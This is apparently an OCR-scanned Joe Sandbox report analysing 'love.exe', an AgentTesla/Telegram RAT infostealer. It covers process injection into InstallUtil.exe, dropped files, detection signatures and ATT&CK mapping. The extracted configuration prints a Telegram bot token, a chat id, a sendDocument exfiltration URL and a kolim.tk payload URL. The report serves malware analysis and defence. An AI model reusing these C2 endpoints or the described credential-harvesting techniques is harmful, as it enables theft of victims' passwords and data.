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C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Grjwvl.exe.log 19
C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\love.exe.log 19
C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\Oc319fcd-164f-
43f5-b568-bddd202bal2d.acb309b0-ach2-458c-b26d-efdacdb577f4.down_meta 19
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\Oc319fcd-164f-
43f5-b568-bddd202bal2d.up_meta 20
C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\1202cf45-361f-
4e06-9984-df08f0b19094.697aebbe-a821-43f2-a21c-ef6616216e51.down_meta 20
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\1202cf45-361f-
4e06-9984-df08f0b19094.up_meta 20
C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\17853855-43d6-
470c-896b-304a6b88afff.1816c152-22b6-479b-9224-4bb133e865b6.down_meta 21
C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\17853855-43d6-
470c-896b-304a6b88afff.down_data 21
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\2232075c-2080-
423f-a051-232211108210.1434b2ac-40d2-4c42-ad75-b6336bbaea77.down_meta 21
C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\2232075c-2080-
423f-a051-232211108210.down_data 22
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\430a4b29-2651-
477a-902b-258ae5794d94.fbbbb2e4-b451-4415-a8b9-b8f8907b6cc3.down_meta 22

C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\430a4b29-2651-
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477a-902b-258ae5794d94.up_meta 22
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\6486abc6-524b-
40c1-9f00-142b9ef8a300.1434b2ac-40d2-4c42-ad75-b6336bbaea77.down_meta 23
C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\6486abc6-524b-
40c1-9f00-142h9ef8a300.up_meta 23
C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\7e696ch3-0cfd-
4f21-ab53-c71d1e437ead.cf472a07-1571-440b-ba5b-5d9bc392dcal.down_meta 23
C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\7e696cb3-0cfd-
4f21-ab53-c71d1e437ead.up_meta 24
C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\989c555b-4bd2-
4b2a-899f-852684d8d727.down_data 24
C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\989c555b-4bd2-
4h2a-899f-852684d8d727.fbbbb2e4-b451-44f5-a8b9-b8f8907b6cc3.down_meta 24
C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\a849727c-2c4c-
4332-bbdc-bc91897b6e49.ach309b0-ach2-458c-b26d-efdacdb577f4.down_meta 25
C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\a849727c-2c4c-
4332-bbdc-bc91897b6e49.down_data 25
C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c3408038-693e-
4317-9a77-dcdd2bc66326.697aebbe-a821-43f2-a21c-ef6616216e51.down_meta 25
C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\c3408038-693e-
4317-9a77-dcdd2bc66326.down_data 26
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4a34-809c-4ea9bh905a23f.cf472a07-1571-440b-ba5b-5d9bc392dcal.down_meta 26
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4a34-809c-4ea9h905a23f.down_data 26
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4743-afab-8633c6def4as4.1816c152-22b6-479b-9224-4bb133e865b6.down_meta 27
C:\Users\user\AppData\Local\Packages\Microsoft. Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\ec96012e-13df-

4743-afab-8633c6def4ad.up_meta 27
C:\Users\user\AppData\Roaming\Mgfknof\Grjwvl.exe 27
C:\Users\user\AppData\Roaming\Mgfknof\Grjwvl.exe:Zone.ldentifier 28
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File Activities 103
Analysis Process: conhost.exePID: 6980, Parent PID: 6972 103
General 103
Analysis Process: timeout.exePID: 7012, Parent PID: 6972 104
General 104
File Activities 104
Analysis Process: InstallUtil.exePID: 4528, Parent PID: 6232 104
General 104
File Activities 105
File Created 105

File Read 105
Registry Activities 105
Analysis Process: Grjwvl.exePID: 6984, Parent PID: 3968 105
General 105
File Activities 106
File Created 106

File Written 106

File Read 107
Registry Activities 107
Analysis Process: Grjwvl.exePID: 5632, Parent PID: 3968 107
General 107
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General 108
Analysis Process: cmd.exePID: 2292, Parent PID: 6984 108
General 108
Analysis Process: conhost.exePID: 2168, Parent PID: 2292 109
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General 109

Analysis Process: timeout.exePID: 4400, Parent PID: 2292 109
General 109
Analysis Process: cmd.exePID: 5872, Parent PID: 5632 109
General 109
Analysis Process: conhost.exePID: 5960, Parent PID: 5872 109
General 109
Analysis Process: timeout.exePID: 3952, Parent PID: 5872 110
General 110
Analysis Process: InstallUtil.exePID: 5096, Parent PID: 6984 110
General 110
Analysis Process: InstallUtil.exePID: 3896, Parent PID: 5632 111
General 111
Analysis Process: InstallUtil.exePID: 1296, Parent PID: 5632 111
General 111
Disassembly 112
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Windows Analysis Report

love.exe
Overview
General Information Detection
Sample love.exe
Name: MALICIOUS
Analysis ID: 651266
MD5: 3c4ce7dd49e57...
SHAL: 2c833a4195815f..
SHA256: 139da5e39dff492.
Tags: exe
Infos: MEB Qg
& B am

AgentTesla
Score: 100
Range: 0-100
Whitelisted: false
Confidence: 100%

Process Tree

= System is w10x64

Signatures

Multi AV Scanner detection for subm...

Malicious sample detected (through...
Yara detected Telegram RAT

Yara detected AgentTesla

Multi AV Scanner detection for drop...

Snort IDS alert for network traffic

Tries to steal Mail credentials (via fi...
Writes to foreign memory regions
Tries to harvest and steal Putty / W...
Tries to harvest and steal ftp login c...
Yara detected Costura Assembly Lo...

Uses the Telegram API (likely for C...

* == love.exe (PID: 6232 cmdline: "C:\Users\user\Desktop\love.exe" MD5: F3C4CE7DD49E5728B3DD941EF7E95313)

cmd.exe (PID: 6972 cmdline: "C:\Windows\System32\cmd.exe" /c timeout 20 MD5: F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 6980 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e [E timeoutexe (PID: 7012 cmdline: timeout 20 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

o [E1 InstallUtil.exe (PID: 4528 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe MD5: EFEC8C379D165E3F33B536739AEE26A3)
* == Grjwyl.exe (PID: 6984 cmdline: "C:\Users\user\AppData\Roaming\Mgfknof\Grjwvl.exe" MD5: F3C4CE7DD49E5728B3DD941EF7E95313)
‘ cmd.exe (PID: 2292 cmdline: "C:\Windows\System32\cmd.exe" /c timeout 20 MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 2168 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e [E timeout.exe (PID: 4400 cmdline: timeout 20 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

e [E] InstallUtiLexe (PID: 5096 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\InstallUtil.exe MD5: EFEC8C379D165E3F33B536739AEE26A3)
* == Grjwvl.exe (PID: 5632 cmdline: "C:\Users\user\AppData\Roaming\Mgfknof\Grjwvl.exe" MD5: F3C4CE7DD49E5728B3DD941EF7E95313)

Classification

e [E1 BackgroundTransferHost.exe (PID: 3896 cmdline: "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 MD5: 02BA81746B929ECCIDB6665589B68335)

o cmd.exe (PID: 5872 cmdline: "C:\Windows\System32\cmd.exe" /c timeout 20 MD5: F3BDBE3BB6F734E357235F4D5898582D)
o @l conhostexe (PID: 5960 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e [E1 timeoutexe (PID: 3952 cmdline: timeout 20 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

e [E7 InstallUtiLexe (PID: 3896 cmdline: C:\Windows\Microsoft. NET\Framework\v4.0.30319\InstallUtil.exe MD5: EFEC8C379D165E3F33B536739AEE26A3)
o [E1 InstallUtil.exe (PID: 1296 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe MD5: EFEC8C379D165E3F33B536739AEE26A3)

= cleanup

Malware Configuration

Threatname: Telegram RAT

"C2 url”: "https://api.telegram.org/bot5310370668:AAEAB2nfvvFj53YoaxJ-AleA2m93WUxxyMO/sendMessage”

Threatname: Agenttesla
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"Exfil Mode": "Telegram",
"Chat id": "5334267822",

"Chat URL": "https://api.telegram.org/bot5310370668:AAEdB2nfvvFj53YoaxJ-AleA2m93WUxxyMO/sendDocument "

Yara Signatures

Memory Dumps

Source

00000015.00000003.391274838.0000000007C61000.00000
004.00000800.00020000.00000000.sdmp

00000000.00000002.343016197.00000000040FF000.00000

004.00000800.00020000.00000000.sdmp

00000000.00000002.343016197.00000000040FF000.00000
004.00000800.00020000.00000000.sdmp

00000000.00000003.276619656.0000000008226000.00000
004.00000800.00020000.00000000.sdmp

00000015.00000002.464002231.00000000040BF000.00000
004.00000800.00020000.00000000.sdmp

Unpacked PEs

Source

18.2.Grjwvl.exe.387fd08.2.unpack
18.2.Grjwvl.exe.387fd08.2.unpack

18.2.Grjwvl.exe.387fd08.2.unpack

21.2.Grjwvl.exe.406fd08.1.raw.unpack

21.2.Grjwvl.exe.406fd08.1.raw.unpack

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

Rule

JoeSecurity_Costu
raAssemblyLoader

JoeSecurity_Agent
Tesla_1

JoeSecurity_Agent
Tesla_2

JoeSecurity_Costu
raAssemblyLoader

JoeSecurity_Agent
Tesla_1

Description

Yara detected
Costura Assembly
Loader

Yara detected
AgentTesla

Yara detected
AgentTesla

Yara detected
Costura Assembly
Loader

Yara detected
AgentTesla

Click to see the 82 entries

Rule

JoeSecurity_Agent
Tesla_1

JoeSecurity_Agent
Tesla_2

MALWARE_Win_
AgentTeslaV3

JoeSecurity_Agent
Tesla_1

JoeSecurity_Agent
Tesla_2

Description

Yara detected
AgentTesla

Yara detected
AgentTesla

AgentTeslaV3
infostealer payload

Yara detected
AgentTesla

Yara detected
AgentTesla

Author Strings
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Author Strings
Joe Security
Joe Security
ditekSHen e 0x30elc:$s10: logins
e 0x30883:$s11: credential
e 0x2cdc3:$g1: get_Clipboard
e 0Ox2cdd1:$g2: get_Keyboard
e 0Ox2cdde:$g3: get_Password
e 0x2e0cf:$g4: get_CtrIKeyDown
e 0x2e0df:$g5: get_ShiftkeyDown
e 0x2e0f0:$g6: get_AltkeyDown
Joe Security
Joe Security

Click to see the 142 entries

ET DNS Query to a .tk domain - Likely Hostile - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:

SID: 2012811

Source Port: 63141

Destination Port: 53

Protocol: UDP

Classtype: Potentially Bad Traffic

192.168.2.38.8.8.863141532012811 06/23/22-18:20:07.034772

ET DNS Query to a .tk domain - Likely Hostile - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Copyright Joe Security LLC 2022
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Timestamp: 192.168.2.38.8.8.858561532012811 06/23/22-18:19:23.404344

SID: 2012811

Source Port: 58561

Destination Port: 53

Protocol: UDP

Classtype: Potentially Bad Traffic

ET DNS Query to a .tk domain - Likely Hostile - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8 —
Timestamp: 192.168.2.38.8.8.862476532012811 06/23/22-18:20:15.219651
SID: 2012811

Source Port: 62476

Destination Port: 53

Protocol: UDP

Classtype: Potentially Bad Traffic

Joe Sandbox Signatures

AV Detection

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for dropped file

Machine Learning detection for sample

Machine Learning detection for dropped file

Networking

Snort IDS alert for network traffic

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

System Summary

Malicious sample detected (through community Yara rule)

.NET source code contains very large array initializations

Data Obfuscation

Yara detected Costura Assembly Loader

.NET source code contains potential unpacker

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Injects a PE file into a foreign processes

ST

Stealing of Sensitive Information

Yara detected Telegram RAT
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ra detected AgentTesla

Tries to steal Mail credentials (via file / registry access)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality

Yara detected Telegram RAT

Yara detected AgentTesla

Mitre Att&ck Matrix

- - . Command Remote
Initial . . Privilege Defense Credential . Lateral . . . Network .
Access Execution Persistence Escalation | Evasion Access Discovery Movement Collection Exfiltration and Effects Service Impact
Control Effects
Valid Remote Exfiltration Eavesdrop Remotely  Modify
Accounts Windows Registry Process Disable or OS File and Services Archive Over Other Web on Insecure Track System
Manageme Run Keys/ Injection Modify Credential ~ Directory Collected Network Service Network Device Partition
nt Startup Tools Dumping Discovery Data Medium Communic  Without
Instrument  Folder ation Authorizati
ation on
Default Scheduled  Boot or Remote Exfiltration Exploit SS7 Remotely  Device
Accounts Task/Job Logon Registry Deobfuscat Credentials System Desktop Data from  Over Ingress to Redirect Wipe Data  Lockout
Initializatio Run Keys/ e/Decode  in Registry Information Protocol Local Bluetooth Tool Phone Without
n Scripts Startup Files or Discovery System Transfer Calls/SMS  Authorizati
Folder Information on
Domain At (Linux)  Logon Logon Security SMB/Wind Automated Exploit SS7 Obtain Delete
Accounts Script Script Obfuscated Account Query ows Admin  Email Exfiltration  Encrypted  to Track Device Device
(Windows)  (Windows) Files or Manager Registry Shares Collection Channel Device Cloud Data
Information Location Backups
Local At Logon Logon NTDS Distributed  Input Scheduled SIM Card Carrier
Accounts (Windows)  Script Script Software Security Component Capture Transfer Non- Swap Billing
(Mac) (Mac) Packing Software Object Application Fraud
Discovery  Model Layer
Protocol
Cloud Cron Network Network LSA SSH Keylogging Data Manipulate Manipulate
Accounts Logon Logon Masqueradi Secrets Process Transfer Application = Device App Store
Script Script ng Discovery Size Limits  Layer Communic Rankings
Protocol ation or Ratings
Replication Launchd ~ Rc.commo ~Rc.commo Cached VNC GUIInput  Exfiltration  Multiband ~ Jamming or Abuse
Through n n Virtualizatio Domain Virtualizatio Capture Over C2 Communic  Denial of Accessibilit
Removable n/Sandbox Credentials n/Sandbox Channel ation Service y Features
Media Evasion Evasion
External Scheduled  Startup Startup DCSync Windows Web Portal  Exfiltration ~ Commonly  Rogue Wi- Data
Remote Task Items Items Process Application Remote Capture Over Used Port  Fi Access Encrypted
Services Injection Window Manageme Alternative Points for Impact
Discovery  nt Protocol
Drive-by Command  Scheduled Scheduled Indicator Proc Shared Credential  Exfiltration ~ Application Downgrade Generate
Compromis and Task/Job Task/Job Removal Filesystem Remote Webroot API Over Layer to Insecure Fraudulent
e Scripting from Tools System Hooking Symmetric  Protocol Protocols Advertising
Interpreter Discovery Encrypted Revenue
Non-C2
Protocol

Behavior Graph
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Screenshots
Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Excel 2016

HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
Source Detection Scanner Label Link
love.exe 32% Virustotal Browse
love.exe 32% ReversingLabs Win32.Trojan.Wore

flint
love.exe 100% Joe Sandbox ML
Dropped Files
Source Detection Scanner Label Link
C:\Users\user\AppData\Roaming\Mgfknof\Grjwvl.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Roaming\Mgfknof\Grjwvl.exe 32% ReversingLabs Win32.Trojan.Wore

flint

Unpacked PE Files

Source Detection Scanner Label Link Download

35.0.InstallUtil.exe.400000.3.unpack 100% Avira TR/Spy.Gen8 Download File
17.0.InstallUtil.exe.400000.2.unpack 100% Avira TR/Spy.Gen8 Download File
35.2.InstallUtil.exe.400000.0.unpack 100% Avira TR/Spy.Gen8 Download File
17.0.InstallUtil.exe.400000.3.unpack 100% Avira TR/Spy.Gen8 Download File
37.0.InstallUtil.exe.400000.2.unpack 100% Avira TR/Spy.Gen8 Download File
17.0.InstallUtil.exe.400000.4.unpack 100% Avira TR/Spy.Gen8 Download File
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https://www.virustotal.com/gui/file/139da5e39dff492d6163311fdcba5daaf916877cc8575e120ffba9b2bda65536/detection/f-139da5e39dff492d6163311fdcba5daaf916877cc8575e120ffba9b2bda65536-1655988427

Source

37.0.InstallUtil.exe.400000.1.unpack
17.0.InstallUtil.exe.400000.1.unpack
37.2.InstallUtil.exe.400000.0.unpack
35.0.InstallUtil.exe.400000.0.unpack
37.0.InstallUtil.exe.400000.4.unpack
35.0.InstallUtil.exe.400000.2.unpack
35.0.InstallUtil.exe.400000.4.unpack
37.0.InstallUtil.exe.400000.0.unpack
37.0.InstallUtil.exe.400000.3.unpack
17.2.InstallUtil.exe.400000.0.unpack
17.0.InstallUtil.exe.400000.0.unpack

35.0.InstallUtil.exe.400000.1.unpack

Domains

Source

kolim.tk

URLs

Source

http://127.0.0.1:HTTP/1.1
http://https://kolim.tk/love_Wvkjhzse.png
http://www.founder.com.cn/cn/bThe
http://www.microsoft.co
http://www.tiro.com
http://www.goodfont.co.kr
http://www.sajatypeworks.com
http://www.typography.netD
http://www.founder.com.cn/cn/cThe
http://www.galapagosdesign.com/staff/dennis.htm
http://fontfabrik.com
http://https://api.telegram.org4
http://crl.veris

http://https://kolim.tk
http://DynDns.comDynDNSnamejidpasswordPsi/Psi
http://en.wk5b
http://www.galapagosdesign.com/DPlease
http://www.sandoll.co.kr
http://www.urwpp.deDPlease
http://www.zhongyicts.com.cn

http://www.sakkal.com

http://https://www.theonionrouter.com/dist.torproject.

0.4.3.6.ziphttps://www
http:{fwww.carterandcone.coml
http:/fwww.founder.com.cn/cn

http:// YWKHBXx.com
http:ifhttps://zw7GRnzerS8zhijeZhLl.org
http:/fwww.jiyu-kobo.co.jp/

http://https://kolim.tk/love_Wvkjhzse.pngSDnppmojgavidoappabt.Egcapxbcwuzzgnfkwwpyg

Domains and IPs

Contacted Domains

Name
stackoverflow.com

api.telegram.org
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Detection Scanner Label
100% Avira TR/Spy.Gen8
100% Avira TR/Spy.Gen8
100% Avira TR/Spy.Gen8
100% Avira TR/Spy.Gen8
100% Avira TR/Spy.Gen8
100% Avira TR/Spy.Gen8
100% Avira TR/Spy.Gen8
100% Avira TR/Spy.Gen8
100% Avira TR/Spy.Gen8
100% Avira TR/Spy.Gen8
100% Avira TR/Spy.Gen8
100% Avira TR/Spy.Gen8
Detection Scanner
0% Virustotal
Detection Scanner
0% Avira URL Cloud
0% Avira URL Cloud
0% URL Reputation
0% URL Reputation
0% URL Reputation
0% URL Reputation
0% URL Reputation
0% URL Reputation
0% URL Reputation
0% URL Reputation
0% URL Reputation
0% URL Reputation
0% URL Reputation
0% Avira URL Cloud
0% URL Reputation
0% Avira URL Cloud
0% URL Reputation
0% URL Reputation
0% URL Reputation
0% URL Reputation
0% URL Reputation
org/torbrowser/9.5.3/tor-win32- 0% URL Reputation
0% URL Reputation
0% URL Reputation
0% Avira URL Cloud
0% Avira URL Cloud
0% URL Reputation
0% Avira URL Cloud
IP Active Malicious Antivirus Detection
151.101.193.69 true false
149.154.167.220 true false

Link

Label

Label
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

safe
safe
safe
safe
safe

safe

Download

Download File
Download File
Download File
Download File
Download File
Download File
Download File
Download File
Download File
Download File
Download File

Download File

Link

Browse

Link

Reputation
high
high
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https://www.virustotal.com/gui/url/198ffbbb0eeea0fc45acefa77cc4f7cb3c34ed7235e599b8f0747627cc28e276/detection/u-198ffbbb0eeea0fc45acefa77cc4f7cb3c34ed7235e599b8f0747627cc28e276-1538138321

Name P

kolim.tk 162.240.68.177 true false

Contacted URLs

Active Malicious Antivirus Detection

* 0%, Virustotal, Browse

Name Malicious Antivirus Detection
http://https://kolim.tk/love_Wvkjhzse.png false e Avira URL Cloud: safe
http://https://api.telegram.org/bot5310370668: AAEdB2nfvvFj53YoaxJ- false

AleA2m93WUxxyMO0/sendDocument

URLs from Memory and Binaries

Name Source Malicious  Antivirus Detection

http://127.0.0.1:HTTP/1.1

http://www.fontbureau.com/designersG

http://www.fontbureau.com/designers/?

http://www.founder.com.cn/cn/bThe

http://https://api.telegram.org

http://https://github.com/mgravell/protobuf-netJ

Copyright Joe Security LLC 2022

InstallUtil.exe, 00000011.00000002.442994108.00000 false e Avira URL Cloud: safe
00003111000.00000004.00000800.00020000.0

0000000.sdmp, InstallUtil.exe, 00000023.00000002.4
62835712.0000000002F41000.00000004.00000

800.00020000.00000000.sdmp, InstallUtil.exe, 00000
025.00000002.517983992.0000000002A31000.

00000004.00000800.00020000.00000000.sdmp

love.exe, 00000000.00000002.346835545.00 false
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00 false
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00 false
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

e URL Reputation: safe

InstallUtil.exe, 00000011.00000002.444296499.00000 false
0000345E000.00000004.00000800.00020000.0
0000000.sdmp, InstallUtil.exe, 00000025.00000002.5
18778055.0000000002D51000.00000004.00000
800.00020000.00000000.sdmp

love.exe, 00000000.00000003.333485960.00 false
00000004042000.00000004.00000800.0002000
0.00000000.sdmp, love.exe, 00000000.0000
0003.333566440.0000000004099000.00000004
.00000800.00020000.00000000.sdmp, love.exe,
00000000.00000002.353029368.00000000
08440000.00000004.08000000.00040000.0000
0000.sdmp, Grjwvl.exe, 00000012.00000003
.434103812.0000000003812000.00000004.000
00800.00020000.00000000.sdmp, Grjwvl.exe,
00000012.00000003.434195061.0000000003
869000.00000004.00000800.00020000.000000
00.sdmp, Grjwvl.exe, 00000012.00000002.4
50298892.00000000076C0000.00000004.08000
000.00040000.00000000.sdmp, Grjwvl.exe,
00000015.00000003.449870099.000000000405
9000.00000004.00000800.00020000.00000000.sdmp,
Grjwvl.exe, 00000015.00000003.449476526.000
0000004002000.00000004.00000800.00020000
.00000000.sdmp, Grjwvl.exe, 00000015.000
00002.467255874.0000000007E40000.0000000
4.08000000.00040000.00000000.sdmp

Reputation

unknown

Reputation

unknown

high

Reputation

low

high

high

unknown

high

high
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https://www.virustotal.com/gui/url/198ffbbb0eeea0fc45acefa77cc4f7cb3c34ed7235e599b8f0747627cc28e276/detection/u-198ffbbb0eeea0fc45acefa77cc4f7cb3c34ed7235e599b8f0747627cc28e276-1538138321

Name

http:ff
https://api.telegram.org/bot5310370668:AAEdB2nfvvFj
53YoaxJ-AleA2m9I3WUxxyMO/

http://www.fontbureau.com/designers?

http://www.microsoft.co

http://www.tiro.com

http://www.fontbureau.com/designers

http://www.goodfont.co.kr

http://www.sajatypeworks.com

http://www.typography.netD

http://www.founder.com.cn/cn/cThe

http:/fwww.galapagosdesign.com/staff/dennis.htm

http:/ffontfabrik.com

http://https://api.telegram.org4

Copyright Joe Security LLC 2022

Source

love.exe, 00000000.00000002.343016197.00
000000040FF000.00000004.00000800.0002000
0.00000000.sdmp, love.exe, 00000000.0000
0002.342398829.0000000004070000.00000004
.00000800.00020000.00000000.sdmp, love.exe,
00000000.00000002.342152559.00000000
04021000.00000004.00000800.00020000.0000
0000.sdmp, InstallUtil.exe, 00000011.00000000.3369
14407.0000000000402000.00000040.00000400
.00020000.00000000.sdmp, InstallUtil.exe, 00000011
.00000002.441757056.0000000000402000.000
00040.00000400.00020000.00000000.sdmp, G
rjwvl.exe, 00000012.00000002.444831530.0
0000000037F1000.00000004.00000800.000200
00.00000000.sdmp, Grjwvl.exe, 00000012.0
0000002.445090863.00000000038CF000.00000
004.00000800.00020000.00000000.sdmp, Grjwvl.exe,
00000012.00000002.444909008.0000000003840
000.00000004.00000800.00020000.00000000.sdmp,
Grjwvl.exe, 00000015.00000002.464002231.0000
0000040BF000.00000004.00000800.00020000.
00000000.sdmp, Grjwvl.exe, 00000015.0000
0002.463441760.0000000004030000.00000004
.00000800.00020000.00000000.sdmp, Grjwvl.exe,
00000015.00000002.463052631.0000000003FE1000
.00000004.00000800.00020000.00000000.sdmp,
InstallUtil.exe, 00000023.00000000.439095104.00
00000000402000.00000040.00000400.0002000
0.00000000.sdmp, InstallUtil.exe, 00000023.0000000
0.438645429.0000000000402000.00000040.00
000400.00020000.00000000.sdmp, InstallUtil.exe, 00
000025.00000000.457726338.00000000004020
00.00000040.00000400.00020000.00000000.sdmp,
InstallUtil.exe, 00000025.00000000.458487817.
0000000000402000.00000040.00000400.00020
000.00000000.sdmp

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

Grjwvl.exe, 00000015.00000002.466078268.
0000000007B60000.00000004.00000800.00020
000.00000000.sdmp

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

love.exe, 00000000.00000002.346835545.00
00000007172000.00000004.00000800.0002000
0.00000000.sdmp

InstallUtil.exe, 00000011.00000002.444296499.00000
0000345E000.00000004.00000800.00020000.0
0000000.sdmp, InstallUtil.exe, 00000025.00000002.5
18778055.0000000002D51000.00000004.00000
800.00020000.00000000.sdmp

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

Antivirus Detection

URL Reputation:

URL Reputation:

URL Reputation:

URL Reputation:

URL Reputation:

URL Reputation:

URL Reputation:

URL Reputation:

URL Reputation:

safe

safe

safe

safe

safe

safe

safe

safe

safe

Reputation

high

high

unknown

unknown

high

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Name

http://https://github.com/mgravell/protobuf-neti

http://crl.veris

http://https://kolim.tk

http://https://stackoverflow.com/q/11564914/23354;

http://DynDns.comDynDNSnamejidpasswordPsi/Psi

http:ifen.wk5b

http:/fwww.galapagosdesign.com/DPlease

http:/fwww.fonts.com

http:/fwww.sandoll.co.kr

http://www.urwpp.deDPlease

http://www.zhongyicts.com.cn

Copyright Joe Security LLC 2022

Source Malicious

love.exe, 00000000.00000003.333485960.00 false
00000004042000.00000004.00000800.0002000
0.00000000.sdmp, love.exe, 00000000.0000
0003.333566440.0000000004099000.00000004
.00000800.00020000.00000000.sdmp, love.exe,
00000000.00000002.353029368.00000000
08440000.00000004.08000000.00040000.0000
0000.sdmp, Grjwvl.exe, 00000012.00000003
.434103812.0000000003812000.00000004.000
00800.00020000.00000000.sdmp, Grjwvl.exe,
00000012.00000003.434195061.0000000003
869000.00000004.00000800.00020000.000000
00.sdmp, Grjwvl.exe, 00000012.00000002.4
50298892.00000000076C0000.00000004.08000
000.00040000.00000000.sdmp, Grjwvl.exe,
00000015.00000003.449870099.000000000405
9000.00000004.00000800.00020000.00000000.sdmp,
Grjwvl.exe, 00000015.00000003.449476526.000
0000004002000.00000004.00000800.00020000
.00000000.sdmp, Grjwvl.exe, 00000015.000
00002.467255874.0000000007E40000.0000000
4.08000000.00040000.00000000.sdmp

InstallUtil.exe, 00000011.00000002.448718598.00000 false
0000659A000.00000004.00000800.00020000.0
0000000.sdmp

love.exe, 00000000.00000002.340665654.00 false
00000003011000.00000004.00000800.0002000
0.00000000.sdmp, Grjwvl.exe, 00000012.00
000002.443884786.00000000027E1000.000000
04.00000800.00020000.00000000.sdmp, Grjwvl.exe,
00000015.00000002.461653126.0000000002FD10
00.00000004.00000800.00020000.00000000.sdmp

love.exe, 00000000.00000003.333485960.00 false
00000004042000.00000004.00000800.0002000
